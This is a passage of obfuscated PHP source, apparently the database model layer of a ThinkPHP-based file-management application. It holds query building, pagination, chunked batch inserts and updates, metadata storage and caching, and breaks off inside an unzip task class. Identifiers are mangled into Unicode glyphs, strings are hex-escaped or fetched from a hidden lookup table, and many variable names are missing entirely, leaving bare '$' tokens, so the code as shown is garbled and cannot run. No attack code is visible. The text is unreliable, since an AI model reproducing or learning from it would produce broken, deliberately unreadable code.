!in_array($͓, $물); case $Մե[333]: case $Մե[334]: if (is_array($Θ)) { $ = $Θ[0]; $ä۫ = $Θ[1]; } else { list($, $ä۫) = explode($Մե[50], $Θ); } return $û == $Մե[333] ? $͓ >= $ && $͓ <= $ä۫ : $͓ < $ || $͓ > $ä۫; case $Մե[335]: case $Մե[336]: return $û == $Մե[335] ? $͓ == $Θ : $͓ != $Θ; case $Մե[337]: $ɲ = mb_strlen($͓, $Մե[338]); if (strpos($Θ, $Մե[50])) { list($, $ä۫) = explode($Մե[50], $Θ); return $ɲ >= $ && $ɲ <= $ä۫; } else { return $ɲ == $Θ; } case $Մե[339]: list($̐, $) = explode($Մե[50], $Θ); if (!is_numeric($̐)) { $̐ = strtotime($̐); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $̐ && NOW_TIME <= $; case $Մե[340]: return in_array(get_client_ip(), explode($Մե[50], $Θ)); case $Մե[341]: return !in_array(get_client_ip(), explode($Մե[50], $Θ)); case $Մե[328]: default: return $this->regex($͓, $Θ); } } public function query($, $ = false) { $ӂ =& $_SERVER[ﻻ]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ = str_replace(array($ӂ[231], $ӂ[342]), $ӂ[53], $); $ = $this->parseSql($, $); return $this->db->query($); } public function execute($, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ = $this->parseSql($, $); return $this->db->execute($); } protected function parseSql($ޞѦ, $қŝ) { $ =& $_SERVER[ﻻ]; if (!0 === $қŝ) { $۴ = $this->_parseOptions(); $ޞѦ = $this->db->parseSql($ޞѦ, $۴); } elseif (is_array($қŝ)) { $қŝ = array_map(array($this->db, $[343]), $қŝ); $ޞѦ = vsprintf($ޞѦ, $қŝ); } else { $ޞѦ = strtr($ޞѦ, array($[344] => $this->getTableName(), $[345] => think_config($[244]))); } $this->db->setModel($this->name); return $ޞѦ; } public function db($ێ = '', $ķ = '', $Б = array()) { $ =& $_SERVER[ﻻ]; if ($[12] === $ێ && $this->db) { return $this->db; } static $ = array(); static $ = array(); if (!isset($[$ێ]) || isset($[$ێ]) && $ķ && $[$ێ] != $ķ) { if (!empty($ķ) && is_string($ķ) && !1 === strpos($ķ, $[8])) { $ķ = think_config($ķ); } $ێ = think_guid($ķ); $[$ێ] = Db::getInstance($ķ); } elseif (NULL === $ķ) { $[$ێ]->close(); unset($[$ێ]); return; } if (!empty($Б)) { if (is_string($Б)) { parse_str($Б, $Б); } foreach ($Б as $ => $) { $this->setProperty($, $); } } $[$ێ] = $ķ; $this->db = $[$ێ]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ = get_class($this); if ($ == $_SERVER[ﻻ][346]) { return $this->name; } $this->name = substr($, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[ﻻ]; if (empty($this->trueTableName)) { $ڦ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $ڦ .= $this->tableName; } else { $ڦ .= think_parse_name($this->name); } $this->trueTableName = strtolower($ڦ); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $õ =& $_SERVER[ﻻ]; return isset($this->fields[$õ[251]]) ? $this->fields[$õ[251]] : $this->pk; } public function getDbFields() { $ȥ =& $_SERVER[ﻻ]; if (isset($this->options[$ȥ[279]])) { $ = $this->db->getFields($this->options[$ȥ[279]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$ȥ[250]], $[$ȥ[251]], $[$ȥ[252]], $[$ȥ[249]]); return $; } return !1; } public function data($߰ = '') { $ =& $_SERVER[ﻻ]; if ($[12] === $߰ && !empty($this->data)) { return $this->data; } if (is_object($߰)) { $߰ = get_object_vars($߰); } elseif (is_string($߰)) { parse_str($߰, $߰); } elseif (!is_array($߰)) { think_exception(think_lang($[271])); } $this->data = $߰; return $this; } public function join($Ѝ) { $ٿ =& $_SERVER[ﻻ]; if (is_array($Ѝ)) { $this->options[$ٿ[282]] = $Ѝ; } elseif (!empty($Ѝ)) { $this->options[$ٿ[282]][] = $Ѝ; } return $this; } public function union($Ь, $ = false) { $ =& $_SERVER[ﻻ]; if (empty($Ь)) { return $this; } if ($) { $this->options[$[347]][$[348]] = !0; } if (is_object($Ь)) { $Ь = get_object_vars($Ь); } if (is_string($Ь)) { $ʟ = $Ь; } elseif (is_array($Ь)) { if (isset($Ь[0])) { $this->options[$[347]] = array_merge($this->options[$[347]], $Ь); return $this; } else { $ʟ = $Ь; } } else { think_exception(think_lang($[271])); } $this->options[$[347]][] = $ʟ; return $this; } public function cache($Ҵݞ = true, $ = null, $ٶ = '') { $ʓ =& $_SERVER[ﻻ]; if (!1 !== $Ҵݞ) { $this->options[$ʓ[349]] = array($ʓ[94] => $Ҵݞ, $ʓ[339] => $, $ʓ[33] => $ٶ); } return $this; } public function field($ѹ, $ܚ = false) { $ =& $_SERVER[ﻻ]; if (!0 === $ѹ) { $Ú = $this->getDbFields(); $ѹ = $Ú ? $Ú : $[189]; } elseif ($ܚ) { if (is_string($ѹ)) { $ѹ = explode($[50], $ѹ); } $Ú = $this->getDbFields(); $ѹ = $Ú ? array_diff($Ú, $ѹ) : $ѹ; } $this->options[$[273]] = $ѹ; return $this; } public function scope($ = '', $ꋥ = NULL) { $ֽ =& $_SERVER[ﻻ]; if ($ֽ[12] === $) { if (isset($this->_scope[$ֽ[37]])) { $Ԓ = $this->_scope[$ֽ[37]]; } else { return $this; } } elseif (is_string($)) { $ʥ = explode($ֽ[50], $); $Ԓ = array(); foreach ($ʥ as $ĸ) { if (!isset($this->_scope[$ĸ])) { continue; } $Ԓ = array_merge($Ԓ, $this->_scope[$ĸ]); } if (!empty($ꋥ) && is_array($ꋥ)) { $Ԓ = array_merge($Ԓ, $ꋥ); } } elseif (is_array($)) { $Ԓ = $; } if (is_array($Ԓ) && !empty($Ԓ)) { $this->options = array_merge($this->options, array_change_key_case($Ԓ)); } return $this; } public function where($ؙ, $߾멞 = null) { $˰ =& $_SERVER[ﻻ]; if (!is_null($߾멞) && is_string($ؙ)) { if (!is_array($߾멞)) { $߾멞 = func_get_args(); array_shift($߾멞); } $߾멞 = array_map(array($this->db, $˰[343]), $߾멞); $ؙ = vsprintf($ؙ, $߾멞); } elseif (is_object($ؙ)) { $ؙ = get_object_vars($ؙ); } elseif (is_array($ؙ)) { foreach ($ؙ as $ => $Ʌ) { if ((is_numeric($) || !$) && is_string($Ʌ)) { if (strpos($Ʌ, $˰[350]) === 0) { continue; } think_trace($˰[351], $˰[12], $˰[49]); die; } } } if (is_string($ؙ) && $˰[12] != $ؙ) { $ݨυ = array(); $ݨυ[$˰[352]] = $ؙ; $ؙ = $ݨυ; } if (isset($this->options[$˰[275]])) { $this->options[$˰[275]] = array_merge($this->options[$˰[275]], $ؙ); } else { $this->options[$˰[275]] = $ؙ; } return $this; } public function limit($ȧ, $ē = null) { $ﰗ =& $_SERVER[ﻻ]; $this->options[$ﰗ[292]] = is_null($ē) ? $ȧ : $ȧ . $ﰗ[50] . $ē; return $this; } public function page($, $ʎ = null) { $ =& $_SERVER[ﻻ]; $this->options[$[353]] = is_null($ʎ) ? $ : $ . $[50] . $ʎ; return $this; } public function comment($) { $this->options[$_SERVER[ﻻ][354]] = $; return $this; } public function setProperty($, $) { if (property_exists($this, $)) { $this->{$} = $; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\x6f\x64\151\146\x79\x54\151\155\x65", "\164\x69\155\x65", "\x69\156\163\x65\162\164\54\x75\x70\144\141\x74\x65", "\146\165\156\143\x74\151\x6f\156"), array("\143\162\145\x61\164\x65\124\x69\x6d\x65", "\164\151\155\x65", "\151\156\163\x65\162\164", "\x66\x75\156\143\x74\x69\157\156")); public function setDataAuto($Ӛמ) { $this->dataAuto = $Ӛמ; } public function __construct($ = '', $ = '', $Ԝ̊ = '') { parent::__construct($, $, $Ԝ̊); } protected $tableMeta = array(); protected function _beforeInsert(&$ϳ, $欺) { $ =& $_SERVER[ﻻ]; if (!$this->checkDataAutoHas($[355])) { return; } $this->dataBeforeFilter($ϳ, $[355]); } protected function _beforeUpdate(&$, $̌ǜ) { $ =& $_SERVER[ﻻ]; if (!$this->checkDataAutoHas($[356])) { return; } $this->dataBeforeFilter($, $[356]); } protected function _afterSelect(&$, $ď罿) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[ﻻ][357])) { return; } foreach ($ as &$矷) { $this->dataAfterFilter($矷); } unset($矷); } protected function _afterFind(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[ﻻ][357])) { return; } $this->dataAfterFilter($); } public static function textEncode($ֹ) { if (!$ֹ) { return $ֹ; } $ = json_encode($ֹ); $ = preg_replace_callback($_SERVER[ﻻ][358], function ($ஹ) { return addslashes($ஹ[0]); }, $); return json_decode($); } public static function textDecode($) { $ŷ =& $_SERVER[ﻻ]; $ײ = json_encode($); $ײ = preg_replace_callback($ŷ[359], function ($ڹ) { return $_SERVER[ﻻ][97]; }, $ײ); return json_decode($ײ); } public function setAutoIncrement($Ԑ) { $ĥ = array($this->getPk() => $Ԑ); $͈Π = $this->data($ĥ)->add(); if ($͈Π) { $this->delete($͈Π); } } public function getAutoIncrement() { $ذ = $this->getTableName(); $߰ɽ = $this->max($this->getPk()); $к = $this->query("\x73\x68\x6f\x77\40\164\141\142\x6c\x65\x20\x73\164\141\164\x75\x73\40\167\150\x65\162\x65\40\x4e\x61\x6d\145\75\47{$ذ}\x27"); $풧Ţ = $к[0][$_SERVER[ﻻ][360]]; $ = max($߰ɽ, $풧Ţ); return $; } protected function _callBefore($Ȋ䕑, $) { return $this->cacheCallCheck($Ȋ䕑, $, !1); } protected function _callAfter($, $) { return $this->cacheCallCheck($, $, !0); } protected function cacheFunctionAlias($ʘ) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $, $ = false) { $Ұ = $this->cacheFunctionAlias($); if (!$Ұ) { return; } foreach ($Ұ as $Ȓ => $) { $ٍ = $[0]; $ܩ = explode($_SERVER[ﻻ][50], $[1]); if ($ == $Ȓ) { return $this->cacheFunctionGet($Ȓ, $ٍ); } if ($ && in_array($, $ܩ)) { $this->cacheFunctionClear($Ȓ, $ٍ); } } } public function cacheFunctionGet($丹, $) { $Ŀ = $this->cacheKeyMake($丹, $); $ = Cache::get($Ŀ); if (!is_array($)) { $ = call_user_func_array(array($this, $丹), array($, !0)); Cache::set($Ŀ, $); } return $; } public function cacheFunctionClear($㝨, $) { $宆 = $; if (!is_array($)) { $宆 = array($); } foreach ($宆 as $Ў) { $ = $this->cacheKeyMake($㝨, $Ў); Cache::remove($); } } private function cacheKeyMake($, $҅) { $Ϣ =& $_SERVER[ﻻ]; return get_class($this) . $Ϣ[11] . $ . $Ϣ[361] . $҅; } protected function selectPageReset() { $ =& $_SERVER[ﻻ]; if (isset($GLOBALS[$[362]])) { return; } $GLOBALS[$[362]] = isset($GLOBALS[$[7]][$[363]]) ? $GLOBALS[$[7]][$[363]] : !1; $GLOBALS[$[364]] = isset($GLOBALS[$[7]][$[353]]) ? $GLOBALS[$[7]][$[353]] : !1; $GLOBALS[$[7]][$[363]] = !1; $GLOBALS[$[7]][$[353]] = !1; } protected function selectPageRestore() { $ =& $_SERVER[ﻻ]; if (!isset($GLOBALS[$[362]])) { return; } $GLOBALS[$[7]][$[363]] = $GLOBALS[$[362]]; $GLOBALS[$[7]][$[353]] = $GLOBALS[$[364]]; if ($GLOBALS[$[7]][$[363]] === !1) { unset($GLOBALS[$[7]][$[363]]); } if ($GLOBALS[$[7]][$[353]] === !1) { unset($GLOBALS[$[7]][$[353]]); } unset($GLOBALS[$[362]]); unset($GLOBALS[$[364]]); } protected function selectPage($ = 200, $Ԉ = 1) { $Ń =& $_SERVER[ﻻ]; global $in; $ = $this->optionsValue(); $ = 50000; $ = isset($in[$Ń[363]]) && $in[$Ń[363]] ? $in[$Ń[363]] : $; if ($ === -1) { $in[$Ń[363]] = !1; $ = 100000000; $ = $; } $ˋ = $; $ˋ[$Ń[365]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $ ? $ : $); $Ԉ = intval(isset($in[$Ń[353]]) && $in[$Ń[353]] ? $in[$Ń[353]] : $Ԉ); $Ԉ = $Ԉ <= 1 ? 1 : $Ԉ; $מ = array(); $ݪ = 1; if ($Ԉ == 1 && $ݪ) { $this->optionsValue($); $מ = $this->page($Ԉ, $)->select(); $ģү = is_array($מ) ? count($מ) : 0; if ($ģү < $) { $į = 1; } else { $this->optionsValue($ˋ); $ģү = intval($this->count()); $į = ceil($ģү / $); } } else { $this->optionsValue($ˋ); $ģү = intval($this->count()); $į = ceil($ģү / $); $Ԉ = $Ԉ >= $į ? $į : $Ԉ; $this->optionsValue($); $מ = $this->page($Ԉ, $)->select(); } if (!is_array($מ)) { $מ = array(); } if ($į == 1) { $ģү = count($מ); } $د = array($Ń[366] => array($Ń[367] => $ģү, $Ń[363] => $, $Ń[353] => $Ԉ, $Ń[368] => $į), $Ń[369] => $מ); return $د; } protected function checkLength($, $ = 0, $䟼 = '') { $ل =& $_SERVER[ﻻ]; $ = $ ? $ : 65536; if (!$ || strlen($) < $) { return; } $䟼 = $䟼 ? $䟼 . $ل[71] : $ل[12]; show_json($䟼 . LNG($ل[370]) . "\x28{$}\51", !1); } protected function metaSet($؊, $ = null, $͍ = null) { $吳 =& $_SERVER[ﻻ]; if (!$this->tableMeta || !$؊) { return !1; } $ = $this->tableMeta[$吳[371]]; $Ŧ = $this->tableMeta[$吳[372]]; $ = Model($Ŧ); $ = array($ => $؊, $吳[373] => $); if (is_null($)) { return $->where(array($ => $؊))->delete(); } if (is_null($͍) && is_string($)) { return $->where($)->delete(); } $ΊЖ = is_array($) ? $ : array(); if (is_string($)) { $ΊЖ[$] = $͍; } $щӉ = array(); foreach ($ΊЖ as $ֽ => $) { if (is_null($) && is_string($ֽ)) { $->where(array($ => $؊, $吳[373] => $ֽ))->delete(); continue; } $this->checkLength($, !1, $Ŧ . $吳[4] . $ֽ); $щӉ[] = array($ => $؊, $吳[94] => $ֽ, $吳[374] => $); } $˹ = $吳[375] . $Ŧ; CacheLock::lock($˹); $->where(array($ => $؊))->addAll($щӉ, array(), !0); CacheLock::unlock($˹); return !0; } public function metaGet($ʨ, $Ȇ = false) { $룷 =& $_SERVER[ﻻ]; if (!$this->tableMeta) { return array(); } $ = $this->tableMeta[$룷[371]]; $͝ = Model($this->tableMeta[$룷[372]]); if ($Ȇ) { $ڹ = array($ => $ʨ, $룷[94] => $Ȇ); return $͝->where($ڹ)->getField($룷[374]); } $ڹ = array($ => $ʨ); $α = $͝->field($룷[376])->where($ڹ)->select(); $α = array_to_keyvalue($α, $룷[94], $룷[374]); return $α; } private function checkDataAutoHas($) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $Ū) { if (in_array($, explode($_SERVER[ﻻ][50], $Ū[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$ԃ, $) { $ʹ =& $_SERVER[ﻻ]; if (!is_array($ԃ)) { return; } foreach ($this->dataAuto as $Ɋ) { $ = $Ɋ[0]; if (!in_array($, explode($ʹ[50], $Ɋ[2]))) { continue; } switch (trim($Ɋ[3])) { case $ʹ[321]: case $ʹ[322]: $ˉ = $Ɋ[1]; $ֆ = isset($Ɋ[4]) ? (array) $Ɋ[4] : array(); if ($ˉ == $ʹ[180] && array_key_exists($, $ԃ)) { if (!$ԃ[$]) { unset($ԃ[$]); } break; } if (isset($ԃ[$])) { array_unshift($ֆ, $ԃ[$]); } if ($ʹ[321] == $Ɋ[3]) { $ԃ[$] = call_user_func_array($ˉ, $ֆ); } else { $ԃ[$] = call_user_func_array(array(&$this, $ˉ), $ֆ); } break; case $ʹ[270]: if (isset($ԃ[$]) && $ԃ[$]) { $ԃ[$] = call_user_func_array(array(&$this, $Ɋ[1]), array($ԃ[$])); } break; case $ʹ[273]: $ԃ[$] = $ԃ[$Ɋ[1]]; break; case $ʹ[294]: if (isset($ԃ[$]) && !is_string($ԃ[$])) { $ԃ[$] = json_encode_force($ԃ[$]); } break; case $ʹ[323]: if ($ԃ[$] === $ʹ[12]) { unset($ԃ[$]); } break; case $ʹ[324]: $ԃ[$] = $Ɋ[1]; default: break; } } if ($ == $ʹ[355]) { $ղ = strtolower($this->db->getDbType()); if (strpos($ղ, $ʹ[13]) !== 0) { return; } $ = $this->field(!0)->fields; $ = $[$ʹ[252]]; if (isset($[$ʹ[251]])) { unset($[$[$ʹ[251]]]); } foreach ($ as $ӊŜ => $) { if (!isset($ԃ[$ӊŜ])) { $ԃ[$ӊŜ] = $ʹ[12]; } } } } private function dataAfterFilter(&$ύ) { $֣ =& $_SERVER[ﻻ]; foreach ($this->dataAuto as $) { $ࡕ = $[0]; if (!isset($ύ[$ࡕ])) { continue; } if (!in_array($֣[357], explode($֣[50], $[2]))) { continue; } switch (trim($[3])) { case $֣[321]: case $֣[322]: $ȅ = isset($[4]) ? (array) $[4] : array(); array_unshift($ȅ, $ύ[$ࡕ]); if (isset($[4]) && $[4] == $֣[377]) { $ȅ = array($ύ[$ࡕ]); } if ($֣[321] == $[3]) { $ύ[$ࡕ] = call_user_func_array($[1], $ȅ); } else { $ύ[$ࡕ] = call_user_func_array(array(&$this, $[1]), $ȅ); } break; case $֣[270]: if (isset($ύ[$ࡕ]) && $ύ[$ࡕ]) { $ύ[$ࡕ] = call_user_func_array(array(&$this, $[1]), array($ύ[$ࡕ])); } break; case $֣[273]: $ύ[$ࡕ] = $ύ[$[1]]; break; case $֣[294]: $ = $ύ[$ࡕ]; $ύ[$ࡕ] = json_decode($, !0); if (is_null($ύ[$ࡕ])) { $ύ[$ࡕ] = $; } break; case $֣[323]: if ($ύ[$ࡕ] === $֣[12]) { unset($ύ[$ࡕ]); } break; case $֣[324]: $ύ[$ࡕ] = $[1]; break; default: break; } } } public function saveAll($ޘ) { $苛 =& $_SERVER[ﻻ]; $ = $this->tablePrefix . $this->tableName; $ʙ = self::SQL_WHERE_IN_CHUNK; $ޘ = is_array($ޘ) ? $ޘ : array(); $ͨ̓ = $苛[378]; $鯅 = 0; $ = array(); $ʫ = count($ޘ); for ($ = 0; $ < $ʫ; $++) { $ = $ޘ[$]; if (!is_array($) || count($) != 4) { continue; } $Ҥ = "\125\x50\x44\101\x54\x45\40\x60{$}\140\x20\x53\x45\124\x20{$[2]}\x20\75\x20\x43\101\x53\105\x20{$[0]}\x20\12"; if ($鯅 == 0) { $ͨ̓ = $Ҥ; } $[] = $苛[118] . $[1] . $苛[118]; $鯅++; $ͨ̓ .= "\40\127\x48\x45\116\40\47{$[1]}\x27\x20\124\110\105\x4e\x20\47{$[3]}\x27\40\xa"; if ($鯅 == $ʙ || $ == $ʫ - 1) { $ = implode($苛[50], $); $ͨ̓ .= "\40\x45\x4e\104\x20\40\127\x48\105\122\x45\40{$[0]}\x20\x49\116\40\x28{$}\x29\40"; $this->execute($ͨ̓); $鯅 = 0; $ͨ̓ = $Ҥ; $this->chunkEventCheck(count($)); $ = array(); } } $this->chunkEventSet(); } public function saveAllEach($ߠ) { $آ =& $_SERVER[ﻻ]; $ޝ = $this->tablePrefix . $this->tableName; foreach ($ߠ as $) { if (!is_array($) || count($) != 4) { continue; } $ǶĿ = $[0] . $آ[379] . $[1] . $آ[118]; $ߤ = $[2] . $آ[379] . $[3] . $آ[118]; $Բ = "\165\x70\144\x61\x74\145\40{$ޝ}\x20\x73\145\164\x20{$ߤ}\x20\167\x68\x65\162\145\40{$ǶĿ}\x3b"; $this->execute($Բ); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($Ą = false, $ = false) { $this->_chunkEvent = $Ą; $this->_chunkEventParam = $; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $̨ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $̨[$_SERVER[ﻻ][380]] = $; Hook::trigger($this->_chunkEvent, $̨); } public function addAll($ǥ, $ = array(), $nj = false) { $ʦؓ =& $_SERVER[ﻻ]; ignore_timeout(); $榤 = self::SQL_WHERE_IN_CHUNK; if (empty($ǥ)) { $this->error = think_lang($ʦؓ[271]); return !1; } $ = $this->_parseOptions($); foreach ($ǥ as $څ => $௧) { $ǥ[$څ] = $this->_facade($௧); $this->_beforeInsert($ǥ[$څ], $); } if (method_exists($this->db, $ʦؓ[272])) { for ($ = 0; $ < count($ǥ); $ += $榤) { $ǭ = array_slice($ǥ, $, $榤); if (!is_array($ǭ) || count($ǭ) == 0) { break; } $ʼ = $this->db->insertAll($ǭ, $, $nj); $this->chunkEventCheck(count($ǭ)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ǥ as $څ => $௧) { $ʼ = $this->db->insert($௧, $, $nj); } $this->commit(); } if (!1 !== $ʼ) { $ȼ = $this->getLastInsID(); if ($ȼ) { return $ȼ; } } return $ʼ; } public function save($ = '', $ê = array()) { $Ι =& $_SERVER[ﻻ]; $ = self::SQL_WHERE_IN_CHUNK; $ĵ = $this->optionsValue(); $κ = $this->findWhereField($ĵ); if (!$κ) { return parent::save($, $ê); } $Ϯ = 0; $ = $ĵ[$Ι[275]][$κ][1]; $ = is_array($) ? $ : array(); $̻ = count($); for ($ = 0; $ < $̻; $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $ĵ[$Ι[275]][$κ][1] = $; $this->optionsValue($ĵ); $Ϯ += parent::save($, $ê); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); return $Ϯ; } public function add($ = '', $Ε = array(), $ߕ = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $Ε, $ߕ); } public function parseWhereLike($Ѭ, $Ϗ = '', $ظ = false, &$ = false) { $ę =& $_SERVER[ﻻ]; $Ӎ = $GLOBALS[$ę[6]][$ę[381]]; if (!$Ӎ[$ę[382]]) { return $Ѭ; } if (!is_array($Ѭ)) { return $Ѭ; } $ = array(); $ɦ = 0; foreach ($Ѭ as $ => $) { if (is_array($) && count($) == 2 && $[0] == $ę[383] && is_string($[1]) && substr($[1], 0, 1) == $ę[384] && substr($[1], strlen($[1]) - 1, 1) == $ę[384]) { $ = !0; $߃ = is_string($) ? $ : $Ϗ; $ = substr($[1], 1, strlen($[1]) - 2); $ = $this->db->escapeString($); if (!strpos($߃, $ę[10])) { $߃ = $ę[385] . $߃ . $ę[385]; } $ܵ = $ę[189] . $ . $ę[189]; $ = str_replace(array($ę[10], $ę[386], $ę[11]), $ę[387], $); if ($Ӎ[$ę[388]]) { $ܵ = $ę[389] . $ . $ę[390]; if ($Ӎ[$ę[391]]) { $ܵ = $ę[390] . $ . $ę[389]; } } $[$ɦ] = $ę[392] . $߃ . $ę[393] . $ܵ . $ę[394]; $ɦ++; continue; } if (is_array($)) { $Ϗ = is_string($) ? $ : $Ϗ; $ = $this->parseWhereLike($, $Ϗ, !0, $); } if (is_numeric($)) { $[$ɦ] = $; $ɦ++; } else { $[$] = $; } } if ($ && !$ظ) { } return $; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ = array()) { $ؕ =& $_SERVER[ﻻ]; $ = self::SQL_WHERE_IN_CHUNK; $Δ = $this->optionsValue(); $ = $this->findWhereField($Δ); if (!$ || isset($Δ[$ؕ[292]]) || isset($Δ[$ؕ[353]])) { return parent::select($); } $굮 = $Δ[$ؕ[275]][$][1]; $굮 = is_array($굮) ? $굮 : array(); $Å = null; for ($Ԋ = 0; $Ԋ < count($굮); $Ԋ += $) { $ = array_slice($굮, $Ԋ, $); if (!is_array($) || count($) == 0) { break; } $Δ[$ؕ[275]][$][1] = $; $this->optionsValue($Δ); $ձ뽮 = parent::select($); if (!$ձ뽮) { continue; } $Å = is_array($Å) ? $Å : array(); $Å = array_merge($Å, $ձ뽮); } return $Å; } public function delete($֨ = array()) { $ =& $_SERVER[ﻻ]; $ýب = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ߝ = $this->findWhereField($); if (!$ߝ) { return parent::delete($֨); } $Ҟ = 0; $ʊ = $[$[275]][$ߝ][1]; $ʊ = is_array($ʊ) ? $ʊ : array(); for ($ = 0; $ < count($ʊ); $ += $ýب) { $ = array_slice($ʊ, $, $ýب); if (!is_array($) || count($) == 0) { break; } $[$[275]][$ߝ][1] = $; $this->optionsValue($); $Ҟ += parent::delete($֨); } return $Ҟ; } private function findWhereField($Ȝ) { $ۙ =& $_SERVER[ﻻ]; $ϴ = self::SQL_WHERE_IN_CHUNK; if (!is_array($Ȝ) || !is_array($Ȝ[$ۙ[275]])) { return !1; } foreach ($Ȝ[$ۙ[275]] as $ => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $ۙ[7] && is_array($[1]) && count($[1]) > $ϴ) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($˸ = true) { think_config($_SERVER[ﻻ][395], $˸); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\123\171\x73\x74\145\155\117\160\x74\x69\x6f\156"; public $field = array(); public function listData($ = false, $Ň = "\x6d\157\x64\151\146\171\124\x69\x6d\x65", $ = false) { $𗳅 = Model($this->modelType)->get(!1, $this->optionType, !0); $ = array_values($𗳅); if ($ && $[0] && !is_array($[0])) { Model($this->modelType)->cacheRemove($this->optionType); $𗳅 = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$𗳅) { return $ ? null : array(); } if (!$) { $𗳅 = array_filter(array_values($𗳅)); return array_sort_by($𗳅, $Ň, $); } return $𗳅[$_SERVER[ﻻ][396] . $]; } public function insert($) { $ =& $_SERVER[ﻻ]; $ = array_field_key($, $this->field); $ = Model($this->modelType)->get($[397], $this->optionType . $[398]); $ = $ ? $ : 0; $[$[399]] = ++$; $[$[201]] = time(); $[$[85]] = time(); Model($this->modelType)->set($[397], $, $this->optionType . $[398]); Model($this->modelType)->set($[396] . $, $, $this->optionType); return $; } public function update($, $) { $ҡ =& $_SERVER[ﻻ]; $ = array_field_key($, $this->field); $Ƨ = $this->listData($); if (!$Ƨ || !$) { return !1; } $ = array_merge($Ƨ, $); $[$ҡ[85]] = time(); return Model($this->modelType)->set($ҡ[396] . $, $, $this->optionType); } public function remove($促) { if (!$促) { return !1; } return Model($this->modelType)->remove($_SERVER[ﻻ][396] . $促, $this->optionType); } public function clear() { $ =& $_SERVER[ﻻ]; Model($this->modelType)->remove($[397], $this->optionType . $[398]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($Ĕ, $ݠ) { if (!$ݠ) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $Ĕ); return isset($[$ݠ]) ? $[$ݠ] : !1; } public function findByName($) { return $this->findByKey($_SERVER[ﻻ][32], $); } protected function resetData($ܐµ) { $˅ =& $_SERVER[ﻻ]; $ܐµ = is_array($ܐµ) ? $ܐµ : array(); $ = array(); for ($Ё = 0; $Ё < count($ܐµ); $Ё++) { $[$˅[396] . $ܐµ[$Ё][$˅[399]]] = $ܐµ[$Ё]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($) { $ౚ = array_to_keyvalue($this->listData(), $_SERVER[ﻻ][32]); if (!$ౚ || !isset($ౚ[$])) { return $; } for ($ڒ = 1; $ڒ < count($ౚ); $ڒ++) { $ = $ . "\50{$ڒ}\x29"; if (!isset($ౚ[$])) { return $; } } return $; } } goto B; b: class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ˈح =& $_SERVER[ﻻ]; parent::startAfter(); Hook::bind($ˈح[1788], array($this, $ˈح[1789])); Hook::bind($ˈح[1203], array($this, $ˈح[1790])); $ =& $this->task; $[$ˈح[1791]] = $ˈح[1204]; if (!$[$ˈح[1576]]) { $[$ˈح[1576]] = LNG($ˈح[1792]); } } protected function endAfter() { $ =& $_SERVER[ﻻ]; parent::endAfter(); Hook::unbind($[1788], array($this, $[1789])); Hook::unbind($[1203], array($this, $[1790])); } public function updateAfter() { $Ϊ =& $_SERVER[ﻻ]; $ =& $this->task; if (!$[$Ϊ[799]] || !$[$Ϊ[776]]) { return; } if ($[$Ϊ[1791]] == $Ϊ[1204]) { $ = 0; if ($[$Ϊ[1731]]) { $ = $[$Ϊ[1732]] / $[$Ϊ[1731]]; } $[$Ϊ[1680]] = $ * 0.3; } else { if ($[$Ϊ[1791]] == $Ϊ[313]) { $ = $[$Ϊ[1679]] / $[$Ϊ[799]]; $[$Ϊ[1680]] = 0.3 + $ * 0.4; } else { if ($[$Ϊ[1791]] == $Ϊ[107]) { $ = 0; if ($[$Ϊ[1733]] == $Ϊ[107]) { $ = $[$Ϊ[1732]]; } $ = ($[$Ϊ[1736]] + $) / $[$Ϊ[776]]; $[$Ϊ[1680]] = 0.3 + 0.4 + $ * 0.3; } } } if ($[$Ϊ[1680]] > 0) { $ɲ = timeFloat() - $[$Ϊ[1682]] - $[$Ϊ[1685]]; $[$Ϊ[1686]] = 